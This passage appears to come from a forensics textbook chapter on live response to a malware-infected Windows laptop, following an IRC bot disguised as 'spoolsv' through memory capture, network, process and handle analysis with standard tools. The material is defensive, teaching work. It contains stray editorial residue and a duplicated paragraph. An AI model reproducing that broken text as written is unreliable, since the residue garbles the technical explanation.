In some cases, it is also necessary to capture some non-volatile data from the live subject system, and perhaps even create a forensic duplicate of the entire disk. For all preserved data, remember that the Message Digest 5 (MD5) and other attributes of the output from a live examination must be documented independently by the digital investigator. It is also recommended that the collection of volatile data be automated to avoid missteps and omissions. We will examine the acquisition of non-volatile data during live response in a later section in this chapter.


Online Resources

Windows Command-line ReferenceFor Live Response, it is helpful to have a good knowledge of the various Windows command-line tools and associated commands. For a reference see, http://technet.microsoft.com/en-us/library/bb490890.aspx.





We’ll continue our look at acquiring volatile data from a subject system through the lens of the following case scenario.


Case Scenario

“Greetings!”Kim is the Vice President of a large corporation. She is assigned a laptop from her company, which she uses while at the office and on business-related travel. The office Information Technology (IT) policy restricts the use of the laptop away from the office to business-related matters only. During a holiday weekend, Kim brought the laptop home with the intention of completing some work-related paperwork, but instead, accessed the Internet and “surfed the net” for personal interests. While online, Kim received an e-mail advising that she was the recipient of an e-greeting card, shown in Figure 1.5. The e-mail explained that to view the card, she needed to click on a hyperlink embedded in the e-mail to be directed to the e-greeting. Kim was curious who sent her the card and clicked on the hyperlink. Strangely, there was no e-greeting card, rather, an image of a mountain panoramic view popped up on her screen. Kim assumed that there was an error with the e-greeting company’s Web site and continued navigating the Internet. Kim returned to work on Monday and connected her laptop to the Internet to check her e-mail. Forty-five minutes later, Brian from the IT department contacted Kim inquiring about her computer as the corporate network intrusion detection system detected anomalous activity originating from Kim’s IP address.

[image: image]

Figure 1.5 Kim’s E-greeting Card

You have been called in to assist in live response to identify the nature and scope of activity from Kim’s laptop, and whether the system has been infected with malicious code. What steps should be taken?






Full Memory Capture

Before we begin gathering data using the various tools in our live response toolkit, we first need to acquire a full memory dump from the subject system. This is important, particularly due to the fact that running incident response on the subject system will alter the contents of memory.


Analysis Tip

Capture Full Memory FirstTo demonstrate the limitations of capturing volatile data from a live Windows system, consider the following sample of a process listing from a live Windows system that was obtained using “pslist” in the PsTools suite, which was developed by Mark Russinovich to collect information about running processes in Windows systems.


[image: Image]



The final entry in the list is the “pslist” process itself, which necessarily altered the contents of memory when it ran, demonstrating the important lesson that each utility that is executed on a live system to collect volatile data will destroy some data that existed in memory. In addition, in this scenario a rootkit is running on the system and certain processes are hidden and therefore not visible in the above process listing. Therefore, to get the most digital evidence out of physical memory, it is advisable to perform a full memory capture prior to running any other incident response processes. Until recently, forensic examination of full memory captures was quite limited. However, memory forensics tools have been developed to extract much of the same information that is collected by incident response suites. The forensic examination of memory for this rootkit scenario is covered in Chapter 3, detailing the recovery of hidden processes and other data structures using memory forensics tools.





Therefore, to get the most digital evidence out of physical memory, it is advisable to perform a full memory capture prior to running any other incident response processes. Until recently, forensic examination of full memory captures was quite limited. However, memory forensics tools have been developed to extract much of the same information that is collected by incident response suites. In Chapter 3, we will discuss in detail the recovery of hidden processes and other data structures using memory forensics tools.




Full Memory Acquisition on a Live Windows System

The simplest approach to capturing the full physical memory of a Windows is running the “dd” command from removable media. The following example uses the version of “dd” that comes on the Helix Incident Response CD (http://www.e-fense.com/helix/). This command takes the contents of memory from a Windows system and saves it to a file on removable media along with the MD5 hash, for integrity validation purposes and audit log that documents the collection process. Be aware that this command does not work on Windows Server 2003 SP1 and later versions of the operating system.
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Figure 1.6 Acquiring Physical Memory with dd

To ensure consistency and avoid typographical errors, the same command can be launched via the Helix7 graphical user interface, as shown in Figure 1.7. Furthermore, version 1.9 does not use the sync conversion option due to problems encountered on certain systems.
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Figure 1.7 Helix Live Acquisition

Similarly, Agile Risk Management’s Nigilant32iii, a graphical user interface (GUI)-based incident response tool provides for an intuitive interface and simplistic means of imaging a subject system’s physical memory through a drop-down menu in the tool’s user console, as seen in Figure 1.8, below.
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Figure 1.8 Imaging Physical Memory with Nigilant32

Commercial remote forensics tools such as ProDiscoverIR8 and OnlineDFS9/LiveWire10 have been developed to capture full memory contents from remote systems. ProDiscoverIR requires a servlet to be running on the remote system, and digital investigators use a graphical user interface on the collection system to access RAM on the remote system, as shown in Figure 1.9. OnlineDFS and LiveWire use Windows Remote Procedure Calls and require Administrator level access on the remote system. These and other remote forensics tools are discussed further in the “Incident Response Tool Suites for Windows” section of this chapter.

[image: image]

Figure 1.9 Screenshot of ProDiscoverIR Capturing Memory from a Remote System

Be aware that problems can be encountered when reading data from\Device\PhysicalMemory, that can result in an incomplete memory capture.11 For instance, while acquiring physical memory using Helix, the following errors were reported:


Total physical memory reported: 1039824 KB

Copying physical memory.

Physical memory in the range 0x00001000-0x00008000 could not be read.

Physical memory in the range 0x06608000-0x06608000 could not be read.

Physical memory in the range 0x10300000-0x10300000 could not be read.

Physical memory in the range 0x192cf000-0x192cf000 could not be read.

Physical memory in the range 0x258d1000-0x258d1000 could not be read.

Physical memory in the range 0x34150000-0x34150000 could not be read.



In addition, recent versions of Windows, including Windows Server 2003, have blocked access to the\Device\PhysicalMemory object.12 Forensic software such as OnlineDFS (discussed later in this chapter) work around this memory protection using a customized kernel driver that allows the acquisition tool to access physical memory.


The Dark Side

Anti-Forensic NoteConceptually it is possible for malware to intercept calls to the Memory Manager on a Windows computer, and thus undermine its ability to capture certain memory pages in which the malware resides. This anti-forensics technique may already be used in some rootkits, and in the event that such techniques become more common, alternate approaches to capturing memory such as Direct Memory Access via Firewire (Pythonraw1394 on Helix 1.9) might become more commonplace. Recent research has shown that some DRAM can be imaged after the system has been shut down [“Lest We Remember: Cold Boot Attacks on Encryption Keys” (2008) by Halderman, Schoen, Heninger, Clarkson, Paul, Calandrino, Feldman, Appelbaum, and Felten (http://citp.princeton.edu/memory/)].










Collecting Subject System Details

The investigator should try to obtain the following subject system details, which are helpful for providing context to the live response and post-mortem forensic process. Details collected during this stage of the investigation will inevitably be crucial in establishing an investigative timeline, and identifying the subject system in logs and other forensic artifacts.
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System Date and Time

After acquiring an image of the physical memory from a subject system, the first and last items that should be collected during the course of conducting a live response examination is the system time and date. This information will serve both as the basis of your investigative timeline—providing context to your analysis of the system—as well as documentation of the examination. Without a temporal context, it is difficult to assess the sequence of events that transpired on the subject system, and in turn, may affect the investigator’s ability to correlate discovered evidentiary artifacts.

The time and date can be acquired from a subject system in a number of ways. The most common method used is to issue the date/t and time/t command from a trusted command shell in your live response toolkit. Similar to the time and date commands is now,13 a command-line utility made available in the Microsoft Windows Server 2003 Resource Kit Tools, which, upon invocation, displays the day of the week, the date, the time, and the year.
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Figure 1.10 Acquiring the System Data and Time

After recording the date and time from the subject system, compare it to a reliable time source to determine the accuracy of the information. Identify and document any discrepancies, as you’ll want to account for this finding in relation to the time and date stamps of other artifacts you discover on the system.




System Identifiers

In addition to collecting the system time, we’ll want to collect as much system identification and status information from the subject host prior to launching into our live response analysis, including the name and IP address. We can identify the name of the subject system by using the hostname utility, which is native to the Windows operating systems. In conjunction with hostname, we can obtain further system details such as the current system user with whoami
14 and operating system environment, by issuing the ver command.15 Applying these utilities on our subject system we learn that Kim’s laptop, Kim-mrtkg-ws5 is running the Microsoft Windows XP operating system.
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Figure 1.11 Gathering System Identifiers

In addition, the ipconfig/all command is used to display the IP address assigned to the subject system, along with the system hostname, network subnet mask, DNS servers, and related details. The ipconfig utility is native to Windows operating systems, and we recommend having a trusted version of the utility for the various Windows operating systems in your trusted toolkit. A similar tool from DiamondCS, (http://www.diamondcs.com.au/) named iplist, displays network interface information, including assigned IP address, network broadcast address, and subnet mask. Querying our subject system we learn about the system’s network interface card and the network settings of our system, as seen in Figure 1.12.
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Figure 1.12 Displaying the Network Interface Configuration with iplist

Identifying the subject system’s IP address is a critical piece of information, as it will be used in multiple instances for investigative context. In particular, the IP address will be pivotal in identifying the system, and in turn, understanding the system’s behavior and network interactions while scouring through numerous log files, including IDS, Firewall logs, Event Viewer Logs, and Proxy Server logs, among others. Similarly, the subject system IP address will provide relational context with system artifacts discovered during other phases of the live response process as well as post-mortem forensic examination of the system hard drives.




Network Configuration

When documenting the configuration of the subject system, digital investigators keep an eye open for unusual items such as a Virtual Private Network (VPN) adapter configured on a system that does not legitimately use a VPN. More sophisticated malware sets up a VPN connection to a remote command and control node, providing a method of communication over the network that is difficult to detect using Intrusion Detection Software (IDS) and other network monitoring systems.

It is also advisable to check whether a network card of the subject system is in promiscuous mode, which generally indicates that a sniffer is running. Several tools are available for this purposes, including Promiscdetect16 shown below in Figure 1.13, and Microsoft’s Promqry,17 which requiresdetached dot needs to be reattached to “.NET” framework. Examining Kim’s adapter configuration, we learn that it is in promiscuous mode. Without further context, it’s unclear how relevant this is in the investigation.
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Figure 1.13 Displaying Adapter Configuration with PromisDetect

It can also be illuminating to document which protocols are enabled on the subject system. For instance, knowing that Windows file and print sharing are enabled, alerts digital investigators to the possibility that malware was delivered via a file share. Furthermore, by default, Windows Vista is configured to support Teredo, a protocol that tunnels IPv6 through User Datagram Protocol (UDP), and Windows XP can be configured to support this protocol. The Teredo protocol can be abused by malware to bypass network address translation devices.




Enabled Protocols

In addition to gathering information about the network adapter on the subject system, we can also identify the protocols enabled on the subject system using the URLProtocolView utility.18 Querying the subject system reveals that Internet Relay Chat (IRC) is being used by the “spoolsv” process. This is certainly unusual activity that we will have to look into further during the course of our examination.
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Figure 1.14 Displaying Enabled Protocols on the Subject System using URLProtocolView

Once we’ve collected the identifiers relating to the subject system and gained context about the victim network in relation to the subject system, we’ll continue gathering further preliminary system details by assessing the general system status, which includes the host’s uptime, operating system version, processor type, memory, and other related details.




System Uptime

Knowing that the subject system has not been rebooted since malware was installed can be important, motivating digital investigators to look more closely for deleted processes and other information in memory that might otherwise have been destroyed. To determine how long the subject system has been running, or the system uptime, invoke the uptime
19 utility from your trusted toolkit, as seen in Figure 1.15. Alternatively, you can use the psuptime utility, which was formerly a separate tool offered by Microsoft (sysinternals.com), but has since been subsumed into the psinfo
20 utility. Copies of psuptime are still distributed with the many incident response tool suites, such as Helix.
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Figure 1.15 Identifying the System Uptime with uptime




System Environment

General details about the subject system, such operating system version, patch level, and hardware, are useful when conducting an investigation of a Windows system. This information may reveal that the system is outdated and therefore susceptible to certain attacks. In addition, knowing the version of Windows can be helpful when performing forensic examination of a memory dump. A granular snapshot of a subject system’s environment and status can be obtained by querying the system with psinfo, systeminfo, or Dumpwin. The psinfo command-line utility developed by Mark Rusinovich (previously with Sysinternals, now employed by Microsoft) collects a number of system identifiers, including system uptime, operating system version, service pack number, and processor information among other details. Systeminfo,21 a native Windows utility, gathers similar information, plus an abundance of other system configuration details, including hardware properties such as RAM, hard disk space, and network cards.

Another tool to consider implementing while collecting subject system details is NII Consulting’s DumpWin,22 a multipurpose utility that can assist in collecting general system information among other items, such as a list of all software installed on the system, shares present, startup programs, active processes, list and status of services, list of local Group Accounts and User Accounts, among other things. Figure 1.17 displays the DumpWin command menu.
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Figure 1.16 Collecting System Information with psinfo
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Figure 1.17 DumpWin Menu






Identifying Users Logged into the System

After we’ve conducted initial reconnaissance of the subject system details, we will want to identify the users logged onto the subject system both locally and remotely. The malicious code that potentially caused the infection and compromise of the system, may not create a detectable username or manifest as a logged-on user. This may be due to the fact that the attacker may have access to the system through a remote backdoor capacity by virtue of the implanted malicious program. However, once the attacker has gained access to the system and potentially the network, such as through a Trojan, bot, or backdoor program, the attacker can potentially create new users or logon as existing users.

Identifying logged on users serves a number of investigative purposes. First, it will help discover any potential intruders logged into the compromised system, who, in turn, may be conducting counter surveillance on the system to identify security personal or incident responders. Secondly, discovering logged-on users may identify additional compromised systems that are reporting to the subject system as a result of the malicious code incident. Additionally, identifying logged on users can also provide insight into a malicious insider malware incident. For instance, if an insider has deployed a malicious program to capture the keystrokes or network traffic, and in turn, procures the logon credentials and other sensitive information from other users, the systems of anomalously logged on users may identify the point of infection or compromise by the insider.

Lastly, suspicious users discovered logged into the subject system can provide additional investigative context by being correlated with other artifacts discovered during live response and post-mortem forensic analysis of the subject system.

The investigator should try to obtain the following information about identified users logged onto the subject system:
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There are a number of utilities that can be deployed during live response, to identify users logged onto a subject system.


Psloggedon23


Psloggedon is a CLI utility that is included in the PsTools suite that identifies users logged onto a subject system both locally and remotely. In addition, psloggedon reveals users that have accessed a subject system from resource shares such as shared drives. Examining our subject system, we learn that Kim is logged on locally to her system and there are no remote users logged into the system. We can confirm our findings with other tools, such as Quser, Netusers, and LogonSessions.
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Figure 1.18 psloggedon




Quser (Query User Utility)

Another useful tool for identifying logged-in users is the Microsoft Query User utility, or quser, which reveals logged-in users, the time and date of logon time, and the session type and state among other details, as seen in Figure 1.19.
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Figure 1.19 Quser




Netusers24


Another helpful utility to identify users logged onto a system is Netusers, from Systemtools.com, which provides the investigator with the ability to query a subject system for users logged on locally to the system, as well as the last logon date of each user account, as seen in Figure 1.20.
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Figure 1.20 Querying Our Subject System with Netusers

After determining that Kim’s account was logged in locally to her laptop, we can obtain a more granular summary of the session on the subject system using LogonSessions.




LogonSessions25


Logonsessions is a CLI utility developed by Bryce Cogswell, that is a part of the PSTools suite. Querying the subject system with logonsessions with the –p argument reveals the processes running in the logged-on session, which is helpful information in a malicious code incident.

Once we’ve gathered system identifiers and identified the users logged into our subject system, we’ll want to examine active network connections and activity on the system.






Inspect Network Connections and Activity

In surveying a potentially infected and compromised system, it is absolutely essential for the investigator to identify current and recent network activity. This information includes inspecting network connections, recent DNS requests, as well as the subject system’s NetBIOS name table, ARP cache, and internal routing table. In addition to this network activity analysis, we will conduct an in-depth inspection of open ports on the subject system as well as a correlation of the ports to associated processes. We will conduct that analysis in a separate phase of live response, which we discuss in a later section in this chapter.




Current and Recent Network Connections

There are two significant reasons why an investigator should identify current and recent network connections. The first reason is very pragmatic: to determine if an attacker is currently connected to the subject system and potentially engaging in counter surveillance of the system—in effect assessing whether the victims are on to him or her. If an attacker is aware that the victims are attempting to remediate his or her breach of the system, he or she may try to hide their tracks by eliminating incriminating artifacts such as logs, or worse yet, cause further damage to the system.

Secondly, the investigator will want to identify current and recent network connections to identify if malware on the subject system is causing the system to call out or “phone home” to the attacker, such as to join a botnet command and control structure. Often, malicious code specimens such as bots, worms, and Trojans, have instructions embedded in them to call out to a location on the Internet, whether a domain name, Uniform Resource Locator (URL), IP address, to connect to another Web resource to join a collection of other compromised and “hjiacked” systems and await further commands from the attacker responsible for the infection.

The investigator should try to obtain the following information network activity on the subject system:


[image: ent] Active network connections
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Netstat

Netstat is a utility native to the various Windows operating systems that displays information pertaining to established and “listening” network socket connections on the subject system. To implement netstat, we’ll generally query netstat –ano command (available on Microsoft Windows XP, Windows 2003, and Windows Vista), which along with displaying the nature of the connections on the subject system, reveals the session is Transmission Control Protocol (TCP) or UDP protocol, the status of the connection, the address of connected foreign systems, and the process ID number of the process initiating the network connection. Alternatively, the netstat –an command reveals the same information but does not reveal the process ID associated with the connection. We will explore additional netstat functionality in relation to displaying the executable program involved in creating each connection or listening port in a later section.

Querying our subject system with the netstat -ano command, we learn that our system has an established network connection from port 1040 with a foreign host on port 6667. The process responsible for generating the network connection is PID 864, which we will identify and explore in greater detail during our investigation into the running processes on the system.

The same information can be obtained using openports, a versatile CLI tool that is also useful for correlating the subject system’s open ports and the respective processes that initiated the socket connections, as demonstrated later in this chapter.

From the netstat output we learned that there is an established network connection from TCP port 1040 on our subject system to TCP port 6667 on a foreign system. Further, we learned from the tool output that the connection is being spawned from the process assigned to PID 864.

Because we know that port 6667 is a common port for IRC (as described in RFCs 1459, 2811, 2812, and 2813), which is commonly used by attackers as a means of controlling infected systems, next we’ll examine DNS queries made from our subject system, which may provide further insight into the network connection and potentially reveal the nature of the malware incident.




DNS Queries from the Host System

Many malware specimens have network connectivity capabilities, whether to gather further exploits from a remote location, join a command and control structure, or await further commands from an attacker. Many times, the malware is hard coded with connectivity instructions in the form of domain names, which the program will attempt to query and resolve to identify the location of the network-based resource it is intended to connect to. To collect the DNS queries made from a subject system, issue the ipconfig/displaydns command from your trusted command shell. Looking at the queries made from our subject system, we see that a DNS query was made to resolve the suspicious domain name louder.xxxxx.com. This is good information to correlate against other clues obtained during live response, as well as artifacts recovered during the collection of non-volatile data, such as Internet history, cookies, and other network-based evidence.
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Figure 1.21 Netstat –ano command
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Figure 1.22 Gathering Cached DNS Queries Made from the Subject System
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Figure 1.23 Examining the NetBIOS Name Cache with nbtstat

Thus far we’ve established that network connectivity was made from our subject system to a remote host on the Internet. Because we have not identified the causation of the connection, we’ll also need to examine the system’s NetBIOS name cache to determine if there are any current or recent connections to our subject system within the Local Area Network (LAN).




NetBIOS Connections

When native Windows networking is involved, additional details about active network connections may be available that can be useful in an investigation. Some worm and bot variants (e.g., W32/Deborm.worm.gen) spread through Windows file sharing by copying themselves to accessible file shares on other systems, establishing connections, and transferring files onto the target systems. There may be volatile data showing which computers were recently connected to the subject system, and what files were transferred.

Windows networking uses the NetBIOS protocol, which supports a variety of services such as file and printer sharing. Each computer that is configured with NetBIOS is assigned a unique name that it can use to communicate with others. However, NetBIOS generally runs over TCP/IP, and computers can be accessed using their NetBIOS name or IP address.

The NetBIOS name cache on a subject system is a section in system memory that contains a mapping of NetBIOS names and IP addresses of other computers that a subject system has had NetBIOS communication withiv. Like other system caches, the NetBIOS name cache is volatile and is preserved for a limited period of time to reduce the number of requests that need to be made for the same information.

We can capture the NetBIOS name cache using a trusted version of the native Windows utility, nbtstat with the –c option, which displays a list of cached remote machine names and their corresponding IP addresses. Further, we can identify current NetBIOS sessions by using the nbtstat –S option and net sessions command.

In the case of Kim’s computer, there is no notable NetBIOS activity. A brief case example from a different computer not related to this case scenario is provided here to demonstrate the potential usefulness of this volatile data when investigating a malware incident.

This information is also available in the Windows Computer Management applet with some additional details, as shown in Figure 1.24.
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Figure 1.24 Examining the NetBIOS with the Windows Computer Management Applet

Furthermore, if any files were recently transferred over NetBIOS, the net file command will show the file names and locations as shown in Figure 1.25 on a test system to demonstrate the potential usefulness of this information when investigating a malware incident.
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Figure 1.25 Using the net Commands

To gain further insight about potential network connections internal to the subject LAN, we’ll also inspect the ARP cache.




ARP Cache

The Address Resolution Protocol or “ARP” as is it is customarily referred, resolves Media Access Control (MAC) addresses, also known as ethernet addresses (residing at the Data Link Layer in the Open Systems Interconnect (OSI) model) to IP addresses (residing at the Network Layer of the OSI model)v. The mapping of the addresses is stored in a table in memory called the ARP cache, or ARP table. Examination of a subject system’s ARP cache will identify other systems that are currently or have recently established a connection to the subject system. Because ARP is a Layer 2 protocol, it is not routable to the Internet. Thus, the information gathered during the inspection of the ARP cache is used more for revealing additional hosts on a network that may have been compromised as a result of the malicious code incident on the subject system, as well as identifying suspicious systems on the network that may have been used to launch an internal attack on the network.

To display the contents of the ARP cache, issue the arp –a command from your trusted command shell, which will reveal the IP address assigned to the subject system, along with the IP addresses and MAC addresses assigned to suspicious systems that are currently or have recently had connections to the subject system, as seen in Figure 1.26.

[image: image]

Figure 1.26 ARP Cache

We see that there are two connections to our subject system within the LAN, but without further context it’s unclear if these connections are the result of nefarious activity.


Analysis Tip

Network SniffingIn addition to inspecting a subject system locally for active network, if practical and if consent is provided by the appropriate personnel, consider monitoring network traffic to and from the system remotely to verify your findings. Refer to Chapter 6 for additional details about network monitoring. We monitored the network traffic on Kim’s system and verified that there was an established IRC connection.
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After gathering system, user, and network information from our subject system, we’ll next examine running processes in our effort to further identify anomalous system activity or evidence of compromise.








Collecting Process Information

Collecting information relating to processes running on a subject system is essential in malicious code live response forensics. Many malware specimens, such as worms, viruses, bots, key loggers, and Trojans, once executed, will often manifest on the subject system as a process. As attackers will most likely want to maintain control of an infected system without being detected, they will look to achieve stealth by camouflaging the name of their malware process to appear as a benign or ambiguous process name, such as “scvhost.” As a result, mere identification of a process without deeper inspection is insufficient.

During live response, an investigator will want to collect certain information pertaining to each running process to gain process context, or a full perspective about the process and how it relates to the system state as well as to other artifacts collected from the system. Generally during our collection, we start by collecting basic process information, such as the process name and Process Identification (PID), with subsequent queries seeking further particularly for the purpose of obtaining the process details:
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To get a clearer understanding of these factors and how they relate to your analysis, we’ll explore each of these factors in more detail.


Process Name and Process Identification (PID)

The first step in gaining process context is identifying the running processes, typically by name and associated PID. In addition to these descriptors being important for identifying and distinguishing individual processes, the descriptors are commonly used by many tools to further inspect a process.

There are a number of tools that the investigator can implement to list the name, PID, and other valuable details relating to running processes on a subject system. Although there is often some degree of overlap, we’ll implement multiple tools for this purpose to collect the most information we can to gain the broadest perspective we can about running processes. Further, “intelligent” or “conscious” malware can scan the system for active processes and may terminate recognized security processes, including anti-virus, firewall, and incident response tools.26

To collect a simple list of running processes and assigned PIDs from our subject system, we’ll use tlist,27 a multifunctional process viewer utility for Windows distributed with Debugging Tools for Windows. Similar information can be collected with PRCView, 28 a GUI and CLI process exploration tool which we will use for other purposes during the process information gathering phase of our investigation.
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Figure 1.27 Identifying Running Processes with tlist

Examining our output from tlist, we notice that there are two instances of spoolsv (Microsoft Print Spooler) running, which is unusual, but not necessarily in and of itself a clear indicator of infection and compromise. Secondly, we see that “rundll32” has an associated window, “xmas.jpg –Windows Picture and Fax Viewer.” We’ll continue gaining process context by looking at additional factors.


Temporal Context

Simply identifying that a process is running is not enough information to provide historical context about the process. It is important for the investigator to determine the period of time the process has been running, for a variety of reasons. First, the duration can be compared to other valuable system state information, such as system uptime, to establish a timeline about the process, such as when it was launched and the duration of its activity. Secondly, the period of time that the process has been running can be compared to other system events, such as the creation of new services, network connectivity, suspicious Event Viewer log entries, Prefetch file entries, among other items, to provide further context and establish a sequence of events on the system. We can identify process activity times by using pslist in the PsTools suite. The pslist utility displays, among other details, the names of running processes, associated PIDS, and the time each process has been running on a system. Using pslist on our subject system, as shown in Figure 1.23, we learn that the system has been running for approximately 52 minutes. Similarly, all of the running processes have been running for the same period of time as the system, but for two processes: the second instance of spoolsv, assigned PID 864, and rundll32, assigned PID 1292; these processes were recently launched and have only been running for approximately 8 minutes. Based upon this time anomaly, we’ll certainly want to look into those processes.

The presence of the “pslist” process itself in Figure 1.28, reiterates the principal that each utility executed on a live system will destroy some data that existed in memory, emphasizing the importance of capturing a full memory capture prior to running any other incident response processes.
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Figure 1.28 Exploring Running Processes with pslist




Memory Usage

In addition to the period of time that the respective processes have been running on our subject system, we’ll also want to examine the amount of system resources that processes are consuming. Often, worms, bots, and other network-centric malware specimens are “active” and can be noticeably resource consuming, particularly on a system with less than 2 gigabytes of RAM. There are a number of tools we can use to examine the memory usage of the individual processes. One of the more versatile utilities is tasklist, which is native to Windows XP Professional, 2003 Server and Vista. To get output identifying running processes, associated PIDs, and the respective memory usage of the processes, we’ll use tasklist with no switches, as seen in Figure 1.29.
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Figure 1.29 tasklist

Examining the tasklist output, we see that spoolsv (PID 864) and rundll32 (PID 1292) are the two processes that are consuming the most system memory. Recall, these were the two seemingly anomalous processes we observed in the pslist output that were launched approximately 50 minutes after the other running processes.

Other utilities that provide a granular look at the statistics relating to running processes such as memory usage and duration, are pmon
29 and pstat
30 (Microsoft Process and Thread Status tool), both of which are available in the Windows XP SP2 Support Tools pack, as well as memsnap,31 the Microsoft Memory Snapshot utility, available for Windows XP, Windows Server 2003, and Vista, which takes a snapshot of the memory resources being consumed by all running processes and pipes the information to a log file.






Process to Executable Program Mapping: Full System Path to Executable File

After inspecting the active processes on the subject system and gaining additional contextual clues such as process timeline and memory consumption, we have some insight into what potentially appears to be a rogue process, and possibly processes.

To gain a clearer perspective about the nature of these processes, we’ll need to determine where the executable images associated with the respective processes reside on the system. This provides further contextual information to the investigator, such as to whether an unknown or suspicious program spawned the process or if the associated program is embedded in an anomalous location on the system, necessitating a deeper investigation of the program. To get an overview of the running processes and associated location of executable program locations, we’ll use PRCView with the -e switch.
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Figure 1.30 PRCView

To obtain a detailed description relating to the location of the running programs, we’ll query our subject system with CurrProcess,32 a GUI and CLI utility developed by NirSoft. To use CurrProcess in CLI mode, you’ll need to use the /stext switch and provide a path and file name to which the output will be written, as shown in Figure 1.31.
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Figure 1.31 Using CurrProcess to Obtain Process and Program Details

After combing through the output of CurrProcess log file, we find the process details for our suspicious process “spoolsv.exe” (PID 864). In addition to displaying the process name and PID, CurrProcess reveals the program priority level, associated product name, file size, program location on the system, username, and other valuable information. We obtain some very meaningful insight from the output. First, we learn that the product and company name associated with the process is “mIRC,” which is a graphical IRC client program. Second, we learn that the program “spoolsv.exe” resides in “C:\WINDOWS\temp\spoolsv\”, which is not the normal location for the actual Microsoft Print Spooler executable, “spoolsv,” which normally resides in C:\WINDOWS\System32\. Thus, this second instance of “spoolsv” is a process chameleon, and simply using a legitimate Microsoft process name to blend in among the other running processes and go undetected by the user. “spoolsv.exe”. Lastly, we see that the file attributes for spoolsv.exe are Read-Only, Hidden, System with the archive bit set. Because previous examination of the spoolsv processes revealed potentially suspicious activity relating to “rundll32” (PID 1292), we’ll also examine that “spoolsv” process with CurrProcess.

Unlike the nefarious instance of “spoolsv,” which was running out of the\temp\spoolsv directory, rundll32, or the Windows utility that enables dynamic link libraries (DLLs) to be run as executables, is located in C:\WINDOWS\system32, where it normally resides. One interesting detail in the tool output is the Window Title, “xmas.jpg - Windows Picture and Fax Viewer,” which may relate to the strange image that popped up on Kim’s screen when she clicked the link to view her e-greeting card. We make note of this and compare it to other artifacts we discover through our live response process, and later, postmortem examination of the subject system hard drive.

[image: image]

Figure 1.32 CurrProcess


Process to User Mapping

During the course of identifying the executable program that initiated a process, the digital investigator should determine the owner of the process to gain user and security context relating to the process. Anomalous system users, or escalated user privileges associated with running processes are often indicative of a rogue process. We’ve learned that the potentially rouge process “spoolsv” is associated with the executable file “spoolsv.exe”, residing in “C:\WINDOWS\temp\spoolsv”, and that the process has been active for approximately 8 minutes on our subject system. But who does the process belong to? Using tasklist with the –V switch, as seen in Figure 1.33, we gain additional context about the process, including the program name, PID, memory usage, program status, and associated username. We learn that the legitimate spoolsv is a System service (NT Authority/System) as it is normally designated, whereas our spoolsv “impersonator” is associated with the user Kim.

[image: image]

Figure 1.33 tasklist -V

Another useful tool for examining the user context of running processes is Pulist
33 a utility available from the Windows 2000 Resource Kit, which lists processes running on local or remote computers and reveals the users associated with the processes.




Child Processes

Often, upon execution, malware spawns additional processes, or child processes. Once we’ve identified a potentially hostile process during live response, we’ll want to analyze the running processes in such as way as to identify a hierarchy of potential parent and child processes. We can get such a perspective by using a variety of processes analysis tools with a “tree” view invoked, similar to the Linux utility, pstree. For a structured tree view, as shown in Figure 1.34, we’ll query or subject system with pslist with the –t switch. Alternatively, we can collect the same information using tlist using the –t switch and PRCView by issuing the pv –t command, but the output provided by those tools is less verbose and structured.
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[image: image]

Figure 1.34 Using pslist to Display a Process Tree

In reviewing the pslist output, we learn that our suspicious process “spoolsv” (PID 864) does not appear to have launched any child processes. We’ll continue exploring the running processes on our subject system, by examining any command-line invocations related to the processes.




Command-line Parameters

While inspecting running processes on a system, it’s valuable to determine the command-line instructions, if any, that were issued to initiate the running processes. This is particularly useful if you’ve already identified a rogue process and want to gain further information about how the program operates. A utility named Cmdline, developed by DiamondCS (http://www.diamondcs.com.au/), is a great utility to achieve this task. The cmdline program displays the process ID number, the full system path, and the executable file associated with each process running on the system. Further, by issuing the –pid argument and supplying the PID number of a specific process of interest, cmdline will only display information relating to that process. We can collect a similar list of command-line details associated with running processes by using tlist, using the –c switch and PRCView, and by issuing the pv –l command.

Collecting the command-line parameters relating to running processes from our subject system, we reaffirm that “spoolsv.exe” is being invoked from an unusual location on the system as shown in Figure 1.35 below. Furthermore “rundll32.exe” is invoking the previously discovered suspicious file “xmas.jpg” from the “C:\WINDOWS\temp\spoolsv” directory as seen in Figure 1.35.
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Figure 1.35 Identifying Associated Command-line Parameters with cmdline

Of significant note is the invoked image file, xmas.jpg, which resides in the same unusual path as our suspicious process, spoolsv, suggesting that the file is somehow associated with the process. The information gained from cmdline is good for correlation against other artifacts discovered on the subject system. Similarly, we can choose to extract the embedded artifacts such as “xmas.jpg” for further examination and file profiling, as discussed in greater detail in Chapter 7.

Another important aspect to examining running processes is to identify handles opened by the respective processes.




File Handles

System resources, such as a files, threads, or graphic images, are data structures commonly referred to as objects. Often, programs cannot directly access object data and must rely upon an object handle to do so. Each handle has an entry in an internally maintained handle table that contains the addresses of the resources and the means to identify the resource type. To get additional context about the nature of running processes we’ll want to obtain information about which handles and associated resources the processes are accessing. To gather this information we can use the handle
34 utility developed by Mark Rusinovich (formerly of Sysinternals.com, now employed by Microsoft).

Handle has a number of switches that can be applied, but for the purpose of revealing all handles related to the running processes, we’ll use the handle –a command. Of particular interest to us will be to compare the handles associated with the legitimate “spoolsv” with the suspicious version of “spoolsv” to identify differences in resources accessed by the respective programs. Figure 1.36, below, shows a side-by-side comparison of the two processes, revealing that the suspicious “spoolsv” is accessing resources relating to network connectivity, whereas the legitimate “spoolsv” process is not.
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Figure 1.36 Comparing Process Handles with handle


Other Tools to Consider

HandlesIn addition to handle, another utility that can be used to inspect file handles is Micosoft’s Open Handles1 (oh.exe) utility, which is available as part of the Windows 2000 Resource Kit Tools for administrative tasks.

http://support.microsoft.com/kb/927229 and http://download.microsoft.com/download/win2000platform/oh/1.00.0.1/nt5/en-us/oh_setup.exe.










Dependencies Loaded by Running Processes

During our investigation of running processes on the subject system we’ve identified a suspicious process, “spoolsv” (PID 864). The characteristics of the process that we’ve determined through our live response analysis thus far, have revealed that the process is using the name of a common process that is already running, is consuming an abnormal amount of system resources, and the executable program associated with the process is residing in an anomalous location on the system, among other indicators. So what other information about the process can provide further insight about our potentially hostile program? One critical item is identifying the dependencies that the process loads while running.

Dynamically linked executable programs are dependent upon shared libraries to successfully run. In Windows programs, these dependencies are most often Dynamic Link Libraries (“DLLS”) that are imported from the host operating system during execution. By calling on the required DLLs at runtime, rather than statically linking them to the code, dynamically linked executables are smaller and consume less system memory.

